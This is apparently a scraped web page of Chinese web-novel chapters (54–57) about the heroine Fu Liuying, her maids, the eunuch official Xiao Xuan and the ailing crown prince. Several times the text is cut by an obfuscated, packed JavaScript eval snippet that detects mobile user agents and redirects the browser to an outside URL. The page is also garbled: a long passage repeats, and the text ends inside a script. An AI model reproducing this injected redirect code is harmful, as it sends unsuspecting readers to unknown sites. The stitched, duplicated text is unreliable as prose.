“大小姐……”冬雪声音微颤，“您真的愿意教奴婢医术？” 傅流萤唇角微勾，“不仅教，还要你学精，这样你才能留在我的身边为我所用。” 她起身走到书架前，取出一本手抄的册子递给冬雪，“这是我整理的医案笔记，你先看看，有不懂的随时问我。” 冬雪如获至宝，双手接过，小心翼翼地抱在胸前。 傅流萤又看向其他人，“你们也一样。既然跟了我，就不能再做普通的丫鬟，我要你们成为我的得力干将，明白了吗？” 四个丫鬟齐声应是，眼中闪烁着前所未有的光彩。 仿佛这一刻，她们不再是任人宰割的下人，而是有了目标和希望。 傅流萤满意地点点头。 “今日之事你们一定要守口如瓶，就算有朝一日你们学会了本领，也应该藏拙，知己知彼才能百战百胜，同理，让对手摸不透你们，才能最大程度的保全自身。” 春芽等人神色一脸深知这话的分量纷纷点了点头。 “很好。” 傅流萤走到窗前，推开窗户。夜风拂面，带着淡淡的花香。远处的将军府主院灯火通明，隐约能听到丝竹之声。 “明日我要去聚仙楼见萧玹，春芽和夏婵随行，秋月和冬雪留在芳华苑。 “小姐……”春芽犹豫道，“九千岁突然约您去聚仙楼，会不会有诈？” 傅流萤轻笑一声，“有诈又如何？我倒要看看，他葫芦里卖的什么药。” 她转身面对四个丫鬟，月光落在傅流萤的身上，原本清冷的气质更显冷漠，“记住，从今晚开始，你们就是我的人了，无论发生什么，都要以我的利益为先。” 四个丫鬟再次跪下，异口同声道，“誓死追随大小姐！” 傅流萤看着她们低垂的头颅，眼中闪过一丝复杂的情绪。 这些丫鬟或许现在忠心，但人心易变，她必须留有后手。 “都起来吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009127|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她轻声道，“时候不早了，去休息吧，明日还有一场硬仗要打。” 丫鬟们退下后，傅流萤独自站在窗前，望着天上的明月。 萧玹的邀约来得突然，必有所图。 他到底想要图什么呢？ 图人？ 他一个太监，又不能行人道之事。 图权势？ 她一个将军府不受宠的嫡女，又有什么好图的。 “萧玹……”傅流萤轻声呢喃，“你想试探我，我又何尝不是在试探你？” 夜风吹动她的长发，傅流萤的思绪如同这散开的发丝。 夜深了，春芽和夏婵准备了热水，轻手轻脚地走进内室。 “小姐，该洗漱了。”春芽轻声唤道。 傅流萤放下手中的医书，揉了揉眉心。 烛光下，她的侧脸线条柔和了几分，但眼底的锋芒依旧不减。 夏婵拧了热帕子递过来，“小姐，今日累了一天，奴婢给您按按肩膀吧？” 傅流萤嗯了一声，接过帕子，擦了擦脸，温热的水汽让她紧绷的神经稍稍放松。 “春芽，傅明雪在家庙如何了？”她突然问道。 春芽正往铜盆里添热水，闻言手上一顿，随即压低声音道，“据婆子传来的消息，二小姐在家庙并不好过，她过惯了养尊处优的日子，到了那破败地方，嫌弃床榻太硬，房间里一股霉味，东西又破又旧，饭食粗陋，一去就发了好大一通脾气。” 傅流萤嘴角微勾，这在她意料之中。 春芽顿了顿又说道，“听说家庙的几个婆子，被她罚跪了整整两个小时膝盖都跪肿了。” 傅流萤皱了皱眉，若有所思，“家庙的那几个婆子们什么时候这么好说话了？居然会听傅明雪差遣。” “奴婢悄悄打听了一下，好像是夫人特意派了人过去叮嘱过一定要让她们好生对待二小姐。” “原来如此。”傅流萤眸光微闪，淡淡的开口道，“既然傅明雪是去家庙好好修身养性的，那就应该好好守着家庙的规矩，怎么能让她在家庙里还当养尊处优的千金大小姐呢？” 第五十四章 错综复杂的关系 傅流萤瞳孔微缩。 太子上官景琰，当朝储君，却因体弱多病常年居于东宫，很少露面。 而且萧玹平日里和太子并无交情。 甚至在前世，萧玹和太子在朝堂之上，还对立过。 他们两个人怎么会凑到一起？ 是因为她重生了有些事情也跟着改变了还是说…… 还是说自始至终萧玹和太子的关系一直都很好。 只是为了给外人营造出一种假象所以才故作不合掩人耳目。 否则为何要安排她与太子见面？ 似乎察觉到她的疑惑，萧玹继续道，“太子对你很感兴趣，尤其是……你解了本督身上寒髓之毒的事。” 听到这里傅流萤心中基本确定。 这两个人交情肯定不浅。 萧玹表面上来看是皇帝手里的一把刀，但是实际上他早就已经和太子站在了一起。 不过让傅流萤想不通的是，太子殿下体弱多病，外界传太子殿下命不久矣，萧玄为什么要站队太子。 他这个人一向唯利是图。 绝没有做过亏本的买卖。 难道太子的毒是假的？ 不太可能。 傅流萤的眸色渐深，难道萧玹这个人也有兄弟情谊？ 可真不太像他啊。 像他这种人居然也会有感情。 萧玹转过身，月光从他身后洒进来，在地上投下一道长长的影子，“此毒罕见，能解者寥寥无几，太子想亲自见见你这位神医。” 傅流萤心思流转。 太子体弱，莫非也中了毒？ 还是说……这其中另有隐情？ 萧玹能主动跟太子说起她会医术这件事情，说明太子在他的心中十分重要。 否则萧玹不会主动暴露。 明日之约，萧玹到底意欲何为，是想让她给太子殿下治病还是说只是对她的试探？ “我明白了。”傅流萤点点头，“明日我会准时赴约。” 萧玹深深看了她一眼，突然道，“你方才与丫鬟说的话，本督都听到了。” 傅流萤心头一跳，仿佛并不知道刚才萧玹在门外，很快镇定下来，“督主还有听墙角的习惯？” “只是恰好路过。”萧玹的声音里带着几分玩味，“不过傅小姐大可放心，本督不是傅莽，不会打自己的夫人。” 傅流萤脸上微热，但很快恢复如常，“督主说笑了，我们不过是各取所需的合作关系，何必谈什么夫妻情分？” 既然萧玹已经挑明，不如打开天窗说亮话。 她也不必在萧玹的面前扮演一副爱他的模样，演来演去也挺累的。 “合作关系？”萧玹轻笑，“傅小姐倒是分得清楚。不过……” 他忽然伸手，指尖轻轻抬起傅流萤的下巴，“既然要做戏，不妨做得逼真些，明日在太子面前，还请傅小姐表现得……恩爱一些。” 傅流萤没有躲开，反而迎上他的目光，“不知督主想要多恩爱？” “足够让太子相信，你爱本督爱的死去活来。” 萧玹的拇指轻轻摩挲过她的唇瓣，声音低沉，“能做到吗，夫人？” 这个称呼让傅流萤心跳漏了一拍。 不得不说这两个字从萧玹的嘴里说出来意外的好听。 但很快，傅流萤稳住心神，嫣然一笑，“那就如督主所愿。” 萧玹似乎对她的反应很满意，收回手道，“时辰不早了，本督告辞，明日巳时，聚仙楼天字一号房，别忘了。” 话音未落，他的身影已如鬼魅般消失在窗外，只余一缕沉水香在空气中缓缓飘散。 傅流萤长舒一口气，拿起床边的玉哨仔细端详。 玉哨通体碧绿，上面刻着精致的莲花纹，花蕊处有一个小小的“玹”字。 她将玉哨收入枕下，吹熄了蜡烛。 黑暗中，她的眼睛亮得惊人。 傅流萤翻来覆去的睡不着。 重来一世，她势要站在权力的顶端。 培养身边的人只是第一步。 她也该慢慢发展自己的势力了。 她虽然是将军府嫡女，可背后却无人可依。 且不说她想手刃将军府之人。 就说傅莽一直支持二皇子。 二皇子是除太子殿下之外，最有可能登基之人。 仅是凭着这一点， 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她将太后令牌贴身藏好，最后又取了个轻纱帷帽戴上，“走吧，从后门出去。” 清晨的将军府后门鲜少有人走动。 守门的侍卫正打着瞌睡，被夏婵塞了块碎银子，立刻眉开眼笑地开了门。 “小姐，咱们不坐马车吗？“春芽小声问道。 “走路去。”傅流萤压低声音，“今日之事，越少人知道越好。” 出了将军府，街市上已渐渐热闹起来。早起的商贩支起了摊子，吆喝声此起彼伏。 傅流萤深吸一口气，空气中飘着刚出炉的包子锅饼的香气，混着清晨特有的清新。 她已经很久没有这样自由自在地走在街上了。 前世被困在地牢整整十年，重生回来又不曾逛过街，竟忘了市井生活是如此鲜活有趣。 “小姐，您看这个！”春芽突然拉住她的袖子，指着一个卖糖人的小摊，眼睛亮得惊人。 那糖人摊主手艺极好，做出的蝴蝶、兔子栩栩如生，在朝阳下泛着琥珀色的光泽。 第五十四章 错综复杂的关系 傅流萤瞳孔微缩。 太子上官景琰，当朝储君，却因体弱多病常年居于东宫，很少露面。 而且萧玹平日里和太子并无交情。 甚至在前世，萧玹和太子在朝堂之上，还对立过。 他们两个人怎么会凑到一起？ 是因为她重生了有些事情也跟着改变了还是说…… 还是说自始至终萧玹和太子的关系一直都很好。 只是为了给外人营造出一种假象所以才故作不合掩人耳目。 否则为何要安排她与太子见面？ 似乎察觉到她的疑惑，萧玹继续道，“太子对你很感兴趣，尤其是……你解了本督身上寒髓之毒的事。” 听到这里傅流萤心中基本确定。 这两个人交情肯定不浅。 萧玹表面上来看是皇帝手里的一把刀，但是实际上他早就已经和太子站在了一起。 不过让傅流萤想不通的是，太子殿下体弱多病，外界传太子殿下命不久矣，萧玄为什么要站队太子。 他这个人一向唯利是图。 绝没有做过亏本的买卖。 难道太子的毒是假的？ 不太可能。 傅流萤的眸色渐深，难道萧玹这个人也有兄弟情谊？ 可真不太像他啊。 像他这种人居然也会有感情。 萧玹转过身，月光从他身后洒进来，在地上投下一道长长的影子，“此毒罕见，能解者寥寥无几，太子想亲自见见你这位神医。” 傅流萤心思流转。 太子体弱，莫非也中了毒？ 还是说……这其中另有隐情？ 萧玹能主动跟太子说起她会医术这件事情，说明太子在他的心中十分重要。 否则萧玹不会主动暴露。 明日之约，萧玹到底意欲何为，是想让她给太子殿下治病还是说只是对她的试探？ “我明白了。”傅流萤点点头，“明日我会准时赴约。” 萧玹深深看了她一眼，突然道，“你方才与丫鬟说的话，本督都听到了。” 傅流萤心头一跳，仿佛并不知道刚才萧玹在门外，很快镇定下来，“督主还有听墙角的习惯？” “只是恰好路过。”萧玹的声音里带着几分玩味，“不过傅小姐大可放心，本督不是傅莽，不会打自己的夫人。” 傅流萤脸上微热，但很快恢复如常，“督主说笑了，我们不过是各取所需的合作关系，何必谈什么夫妻情分？” 既然萧玹已经挑明，不如打开天窗说亮话。 她也不必在萧玹的面前扮演一副爱他的模样，演来演去也挺累的。 “合作关系？”萧玹轻笑，“傅小姐倒是分得清楚。不过……” 他忽然伸手，指尖轻轻抬起傅流萤的下巴，“既然要做戏，不妨做得逼真些，明日在太子面前，还请傅小姐表现得……恩爱一些。” 傅流萤没有躲开，反而迎上他的目光，“不知督主想要多恩爱？” “足够让太子相信，你爱本督爱的死去活来。” 萧玹的拇指轻轻摩挲过她的唇瓣，声音低沉，“能做到吗，夫人？” 这个称呼让傅流萤心跳漏了一拍。 不得不说这两个字从萧玹的嘴里说出来意外的好听。 但很快，傅流萤稳住心神，嫣然一笑，“那就如督主所愿。” 萧玹似乎对她的反应很满意，收回手道，“时辰不早了，本督告辞，明日巳时，聚仙楼天字一号房，别忘了。” 话音未落，他的身影已如鬼魅般消失在窗外，只余一缕沉水香在空气中缓缓飘散。 傅流萤长舒一口气，拿起床边的玉哨仔细端详。 玉哨通体碧绿，上面刻着精致的莲花纹，花蕊处有一个小小的“玹”字。 她将玉哨收入枕下，吹熄了蜡烛。 黑暗中，她的眼睛亮得惊人。 傅流萤翻来覆去的睡不着。 重来一世，她势要站在权力的顶端。 培养身边的人只是第一步。 她也该慢慢发展自己的势力了。 她虽然是将军府嫡女，可背后却无人可依。 且不说她想手刃将军府之人。 就说傅莽一直支持二皇子。 二皇子是除太子殿下之外，最有可能登基之人。 仅是凭着这一点， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013171|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧玹也不会放过傅莽。 傅流萤眨了眨眼睛，她必须在将军府倒下之前，强大起来。 她要别人提起她傅流萤的时候说，的不是将军府的大小姐，也不是萧玹的夫人。 而就是她傅流萤本人。 傅流萤这三个字就代表着绝对的权威。 傅流萤的心中盘算着，渐渐有了困意。 …… 翌日一早，清晨的薄雾还未散尽，傅流萤就爬起来洗漱梳妆。 她换上一身素色衣裙，将青丝简单挽起，插了支白玉簪子。 她对着铜镜，用脂粉将眉眼描得淡了些，又在唇上点了些口脂，整个人顿时显得清丽脱俗，与平日里的明艳大不相同。 “小姐今日真好看。”春芽捧着妆匣，眼睛亮晶晶的。 傅流萤轻笑，“不是好看，是普通。今日我们要低调行事。” “小姐本来就长得明艳动人，即使不化妆也跟天仙似的，哪里像个普通人了。” 夏婵从门外进来，手里拿着两件粗布衣裳，“小姐，按您的吩咐准备好了。” 傅流萤点点头，三人迅速换了装束。 她将太后令牌贴身藏好，最后又取了个轻纱帷帽戴上，“走吧，从后门出去。” 清晨的将军府后门鲜少有人走动。 守门的侍卫正打着瞌睡，被夏婵塞了块碎银子，立刻眉开眼笑地开了门。 “小姐，咱们不坐马车吗？“春芽小声问道。 “走路去。”傅流萤压低声音，“今日之事，越少人知道越好。” 出了将军府，街市上已渐渐热闹起来。早起的商贩支起了摊子，吆喝声此起彼伏。 傅流萤深吸一口气，空气中飘着刚出炉的包子锅饼的香气，混着清晨特有的清新。 她已经很久没有这样自由自在地走在街上了。 前世被困在地牢整整十年，重生回来又不曾逛过街，竟忘了市井生活是如此鲜活有趣。 “小姐，您看这个！”春芽突然拉住她的袖子，指着一个卖糖人的小摊，眼睛亮得惊人。 那糖人摊主手艺极好，做出的蝴蝶、兔子栩栩如生，在朝阳下泛着琥珀色的光泽。 第五十五章 阿玹可是吃醋了？ 傅流萤不由驻足，掏出几个铜钱，“喜欢哪个？” 春芽惊喜地接过，选了个展翅欲飞的蝴蝶。 夏婵则挑了个威风凛凛的老虎。 傅流萤看着她们欢喜的模样，嘴角不自觉地上扬。 “小姐也选一个吧！”春芽看着傅流萤，眼底都是笑意。 傅流萤目光扫过摊子，忽然看见角落里有个不起眼的狐狸造型，狡黠灵动。 让她莫名想起萧玹那双深不见底的眼睛。 “就这个吧。”她轻声道，接过糖狐狸，却没有立刻吃，而是小心地用手帕包好，放入袖中。 三人继续前行，路过一个卖早点的摊子，热气腾腾的蒸笼里飘出诱人的肉包子香气。 傅流萤这才想起自己没用早膳，腹中空空如也。 “小姐，尝尝这个。”夏婵已经买来了几个刚出锅的肉包子，外皮松软，馅料饱满。 傅流萤接过咬了一口，鲜美的汤汁立刻在口中迸开。 她眯起眼睛，忽然觉得这样简单的快乐，比在将军府吃那些精致的点心要美味百倍。 “小姐慢些吃，小心烫。”春芽递上帕子，眼中满是关切。 傅流萤擦擦嘴角，忽然有些恍惚。 前世的自己何曾想过，有朝一日会带着丫鬟在街边吃包子？ 那时的她满心都是如何讨好父母兄弟，如何做个合格的大家闺秀，好让大家都像喜欢傅明雪一样喜欢她。 “小姐？“夏婵见她出神，轻声唤道。 傅流萤回过神来，将最后一口包子咽下，“走吧，时辰不早了。” 聚仙楼就在不远处，三层高的楼阁飞檐翘角，在晨光中显得格外气派。 傅流萤整了整帷帽，正要迈步，忽然听见身后传来一阵骚动。 “让开！都让开！” 一队官兵押着几个衣衫褴褛的犯人经过，铁链在地上拖出刺耳的声响。 为首的犯人是个年轻女子，虽然蓬头垢面，但眼神倔强，经过傅流萤身边时，突然抬头看了她一眼。 那眼神锐利如刀，让傅流萤心头一震。 “看什么看！”官兵一鞭子抽在女子背上，顿时皮开肉绽。 女子闷哼一声，却咬紧牙关不叫出声。 春芽下意识上前一步，却被夏婵拉住，“别惹事，那几个犯人一看就不是什么等闲之辈，别给小姐惹麻烦。” 春芽停住了脚步。 等到那一队人渐行渐远之后傅流萤的目光才落在春芽的身上。 “刚才你可是发现了什么，突然变得那么急躁？” 春芽抬头看了傅流萤一眼，压低了声音，“小姐，奴婢刚才好像在那个女子的身上看到了一个图腾，本来想走近些可以瞧的更真切一些，没想到竟然会给小姐带来麻烦。” 傅流萤看着那队人远去。 她认得那女子身上的标记。 是南疆巫族的图腾。 前世她曾在傅家的地牢里见过类似的犯人，据说都是谋逆的重犯。 可那都是她在地牢第四年才看到的。 如今，她刚重生回来，她们就被抓了。 这是很多事情的时间线提前了吗？ 还是前世，她们也是一早被抓了，后来才送进傅家的地牢关着？ 傅流萤紧锁着眉。 “小姐，咱们快走吧。”春芽小声催促。 傅流萤深吸一口气，压下心中的不安，转身继续往聚仙楼的方向走。 聚仙楼三楼雅间 一扇雕花木窗半开着，隔着一层薄薄的月影纱。 里面的人可以清晰的看到外面的景色。 而外面的人却看不到里面分毫。 窗边的软榻上坐着两个男子，一黑一白，形成鲜明对比。 穿玄色锦袍的男子戴着半张银质面具，露出的下颌线条冷硬。 他的目光落在楼下那个戴着帷帽的纤细身影上。 “这就是你选的女人？”白衣男子轻咳两声，声音温润如玉，“倒是别致。” 萧玹没有回答，只是微微眯起眼睛，看着傅流萤在街边买糖人的一幕。 她接过那只糖狐狸时，嘴角那一抹若有若无的笑意，让他面具下的眉梢轻轻一挑。 “太子殿下觉得她如何？”萧玹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018369|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然问道。 上官景琰。 当朝太子，因常年病弱而面色苍白，却掩不住一身清贵之气。 “不仅明艳动人而且活泼可爱，不愧是能入得了你眼的人。” 萧玹轻哼一声，“阿琰对她的评价这么高？” 他闻言轻笑，修长的手指抚过窗棂，“阿玹这是吃醋了？” 萧玹冷哼一声，“区区一个傅流萤而已。” “是吗？”上官景琰意味深长地看了他一眼，“可是我倒是觉得未必。” 楼下，傅流萤正抬头望向聚仙楼的招牌。 帷帽轻纱被风吹起一角，露出她精致的下巴和嫣红的唇。 萧玹收回目光，“阿琰不是对她的医术很感兴趣吗？” “医术倒是其次，主要是想见见能让阿玹亲自进宫求得父皇同意，想要娶的女人到底是何面目。” “比庸脂俗粉略好一些。”萧玹淡淡道。 上官景琰轻笑了一声，动作优雅地斟了两杯茶，将其中一杯推到萧玹面前，“那日督主府**，听说你差点丢了性命？” “演戏而已。”萧玹接过茶盏，轻抿了一口，“我故意放刺客进来，就是想试探傅流萤。” “结果如何？” 萧玹面具下的眸子闪过一丝复杂“她不仅武功高强，解了寒髓之毒，而且还认识阎罗王。” 上官景琰执杯的手微微一颤，茶水溅出几滴，在雪白的袖口晕开一片淡黄。 “这不可能，这阎罗王乃南疆奇毒，就连轻尘都束手无策，只能压制其毒性却无法解除。” “但她做到了。”萧玹声音低沉，“只把了一次脉，施了几针，再服用她自制的汤药，不仅压制了毒性，还让我的功力恢复了三成。” 上官景琰眼中闪过一丝震惊，“她一个闺阁女子，从哪学来这等医术？” “这正是我想知道的。”萧玹指尖轻叩桌面，“傅家世代将门，从未出过医者。傅流萤的医术，来得蹊跷。” 上官景琰若有所思，“会不会是．“ “轻尘查过了。”萧玹打断他，“傅流萤与药王谷毫无瓜葛。” 第五十六章 七绝散 楼下传来脚步声，由远及近。 萧玹和上官景琰对视一眼，默契地停止了谈话。 雅间的门被轻轻叩响。 “进来。”萧玹沉声道。 门开了，傅流萤摘下帷帽，露出一张清丽绝伦的脸。 她的目光在萧玹和上官景琰之间转了一圈，最后定格在太子身上，盈盈一拜，“太子殿下。” 上官景琰抬手制止，“傅小姐不必多礼，今日是私下会面，就当是普通朋友，无需拘束。” 他的声音温和亲切，与传闻中那个病弱却仁厚的太子形象完全吻合。 但傅流萤没有错过他眼中那一闪而过的探究。 “谢殿下。”傅流萤直起身，目光平静如水。 萧玹指了指身旁的座位，“坐。” 傅流萤落座，春芽和夏婵安静地站在她身后。 太子打量着这个传闻中不受宠的将军府嫡女，发现她举止从容，丝毫没有面对权贵时的惶恐不安。 “傅小姐，“太子轻咳两声，“听闻你医术高明，孤甚是好奇。” 傅流萤微微一笑，“殿下过誉了。不过是略通皮**，碰巧能解督主所中之毒罢了。” 太子意味深长的看了傅流萤一眼，“寒髓之毒可不是略通皮**就能解的，更何况傅小姐还懂得阎罗王。” 傅流萤听到“阎罗王“三个字，心头猛地一跳，指尖不自觉地掐入掌心。 太子竟连这等隐秘之事都知晓？ 看来他与萧玹的关系远比表面看到的更为深厚。 能让萧玹如此信任他，并且主动告诉他阎罗王，太子也不简单啊。 她微微垂眸，长睫掩去眼底的惊诧，再抬眼时已是一片平静。 “太子殿下谬赞了，臣女哪有这么大的本事，不过是之前在一本古籍上偶然看到，记了下来，没想到竟派上了用场。” 她声音轻柔，带着恰到好处的谦逊，“或许冥冥之中自有注定，臣女与九千岁该有这一段缘分。” 说罢，她微微低头，露出一截雪白的颈项，尽显女儿家的娇羞情态。 余光却瞥向萧玹，见他面具下的唇角微不可察地勾了勾。 “傅小姐与九千岁确实有一段情缘。”太子轻咳两声，苍白的面容浮现淡淡笑意，“俗话说，百年修得同船渡，千年修得共枕眠。傅小姐能与九千岁结发为夫妻，恩爱两不疑，实乃天大的喜事。” 傅流萤记得昨天晚上萧玹的嘱咐，在太子面前需表现得恩爱。 所以她抬眸望向萧玹，眼中情意绵绵，似有万千星辰闪烁。 “能得督主垂青，是流萤三生有幸。” 萧玹眸光微动，伸手覆上她的手背。 他掌心温热，却带着习武之人特有的薄茧，摩挲间引起一阵细微的颤栗。 “傅小姐言重了。”他声音低沉，带着几分罕见的柔和。 傅流萤感到萧玹的手指在她掌心不轻不重地掐了一下。 身躯顿时绷紧了。 她眼波流转，望向萧玹的眼神里盛满柔情，连声音都软了三分：“能遇见督主，是流萤几世修来的福分。” 萧玹面具下的眉头几不可察地跳了跳。 这女人演得倒是逼真，若非知道她真实面目，连他都要信了这满眼的情意。 雅间内一时静谧，只闻窗外市井喧嚣遥遥传来。 太子看着两人交握的手，眼中闪过一抹深意，随即掩唇轻咳，打破了这片刻的温情。 “不知傅小姐用过膳没有？聚仙楼的八宝鸭、水晶虾饺都是招牌，味道甚好。” 太子转移话题，修长的手指轻敲桌面，唤来小二。 傅流萤顺势收回手，指尖却仿佛还残留着萧玹的温度。 她点了这两道招牌菜，点了几样招牌点心，最后又特意要了一壶菊花茶，“这茶清火明目，最是养人，殿下不妨尝尝。” 太子眼中闪过一丝讶异，“傅小姐懂茶道？” “略知一二。”傅流萤温婉一笑。 萧玹冷眼旁观她这副大家闺秀的做派，倒是挺像那么回事的。 想起之前傅流萤手持**的狠厉模样，不由暗自冷笑。 这女人变脸比翻书还快，可真是演得一手的好戏。 小二退下后，太子端起茶盏浅啜一口，状似随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018370|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地问道，“傅小姐医术精湛，不知师从何处？孤近来对医道一学颇有兴趣，只可惜资质愚钝，不知其解。” 来了。 傅流萤早就猜到萧玹和太子肯定会旁敲侧击试探她，所以早就准备好了。 她脸色未变，淡淡的开口道，“臣女不曾正式拜师，只是幼时体弱，常去城郊白云观静养，观中一位老道长教了我些医理。” 傅流萤垂了垂眼眸。 这一点她倒是没有说谎。 年幼时傅明雪总是三番两次的陷害她，今日撕了她的课业，让夫子以为她无心学习。 明日就会故意弄坏她自己的簪子，告诉柳飞燕，是她心存嫉妒，所以故意损坏了她心爱的簪子。 那时的傅明雪很会撒娇也很会哭。 久而久之傅莽和柳飞燕都觉得是她做的，以至于后来傅明雪什么都不说，只是掉那么两滴眼泪，他们就会把过错推到她的身上。 后来傅莽和柳飞燕就把她送到了道观。 美其名曰是为她祈福。 实则就是想把她送得远远的。 傅流萤想起这些，手指不由自主的捏紧。 那一年她才十岁。 骤然离家，在道观无一人可依。 她刚来道观的第一天晚上寒风萧瑟，她躲在床上一夜未眠。 …… “哦？“太子饶有兴趣地追问，“不知是哪位道长？孤也曾去白云观求医，或许认得。” 傅流萤早料到会有此一问，从容答道，“那些道长喜欢闲云野鹤，不常在人前露面，臣女也是机缘巧合，得他指点一二，至于他的名号那时年纪尚小早就已经忘了。” 太子与萧玹交换了一个眼神。 白云观确实有位行踪神秘的道医，但多年前就已云游四方，傅流萤若真与其有交集，倒也能解释她的医术来源。 “傅小姐福缘深厚，竟能与那位道长结缘。”太子轻叹，“不知可曾听道长提起过七绝散？” 傅流萤心头一震。 七绝散是南疆奇毒，**者七天之内必死，且死状极惨。 太子突然问起这个，莫非…… 第五十七章 南疆圣女 傅流萤皱了皱眉，作思索状，似乎在努力的回忆着，“以前好像听道长提过一两句，此毒阴狠，需以雪灵芝为引，配合鬼门十三针方能化解此毒。”她顿了顿，状似无意地补充，“不过雪灵芝生长在极北苦寒之地，百年难遇，而且就算有雪灵芝，这天底下能使得鬼门十三针的人已经寥寥无几。” 说完傅流萤抬头看着太子殿下。 “太子殿下怎么突然会问起这七绝散？” 太子手中的茶盏“咔”一声轻响，指节因用力而发白。 萧玹面具下的眼睛微微眯起。 “傅小姐见闻广博。”太子声音有些发紧，“孤也是听闻此毒十分强悍霸道，有些好奇罢了。” 说完，太子扫了一眼傅流萤，“若是有人中了此毒……” “殿下。”萧玹突然出声打断，“菜来了。” 傅流萤余光瞥见太子瞬间收敛的情绪，心中已有计较。 看来太子不仅知道七绝散，很可能还急需解药。 这倒是一个意外收获。 只是不知是谁能让太子殿下如此担心。 七绝散是南疆奇毒，按照道理来说，平日里是绝对不可能出现在京城。 像萧玹那是意外情况。 那毒都在他体内十多年了。 傅流萤的眸色暗了暗。 七绝散，南疆……还有刚才在路上遇到的那伙人。 看来最近京城不太平啊。 先有南疆，再过几天北疆的使者又会进京。 这两者会不会有什么关联？ 小二陆续上菜，傅流萤夹了一块桂花糕，小口品尝，举止优雅得体。 上完菜以后小二就退下了。 “傅小姐。”太子这才开口，“听闻你与傅将军关系不睦？“ 傅流萤筷子一顿，随即若无其事地放下，“殿下明鉴，父亲……更偏爱妹妹些。” 说完傅流萤重重地叹息一声，眉宇之间露出一丝的悲伤。 “傅明雪私德有亏，已被罚入家庙。”萧玹冷冷开口，“傅小姐不必为此等小人伤神。” 傅流萤眼中适时泛起泪光，轻轻的嗯了一声。 太子看着二人互动，忽然笑道，“阿玹向来冷心冷情，没想到对傅小姐如此上心。” 萧玹不置可否，却伸手替傅流萤拢了拢鬓散落的发丝。 这亲昵举动让傅流萤险些破功。 不是说只是假装恩爱吗？ 怎么还动手动脚的。 萧玹的手指冰凉，像毒蛇爬过脸颊，激得她后背寒毛直竖。 “既然傅小姐医术如此了得，何不开间医馆，悬壶济世？”太子突然开口。 傅流萤心头一动，她确实有这个打算。 既然太子殿下提出来了不如顺水推舟？ 借机让萧玹答应。 日后等她嫁进督主府，也方便行事。 傅流萤很快就有了主意。 但面上故作为难轻叹了一口气，“臣女一介女流，又即将嫁入督主府，如何抛头露面行医？” “这有何难。”太子笑道，“让阿玹给你寻个僻静院落，专为女子看诊便是，京城中不少闺阁女子有病难医，若有傅小姐这等医术高明又同为女子的大夫，岂非善事一桩？” 萧玹放下筷子，声音冷淡，“傅小姐嫁入督主府后，自有府中事务打理，恐怕无暇他顾。” 傅流萤不想搭理萧玹，对太子柔声道，“若真能帮助那些患病女子，倒也是功德一件，督主若是不反对，流萤愿每月抽出一两日，为贫苦女子义诊。” “其余时间打理府中事物，这样一来可以帮助那些女子，二来也不会耽误府中琐事，一举两得，不知督主意下如何？” 她看向萧玹，眼中满是恳求。 若是萧玹能答应，那她以后就算是嫁入督主府，每个月也有自由出入都督府的机会。 可以方便她做很多事。 萧玹与她对视片刻，竟出人意料地松口，“随你。” 太子眼中闪过一丝讶异，随即笑道，“阿玹对傅小姐当真是宠爱有加。” 傅流萤笑了笑，并不答话。 楼下突然传来一阵喧哗。 “楼下好像有动静。”傅流萤开口说了一句，起身走到窗前，只见方才那队官兵押着南疆囚犯正从聚仙楼下经过。 “是南疆囚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 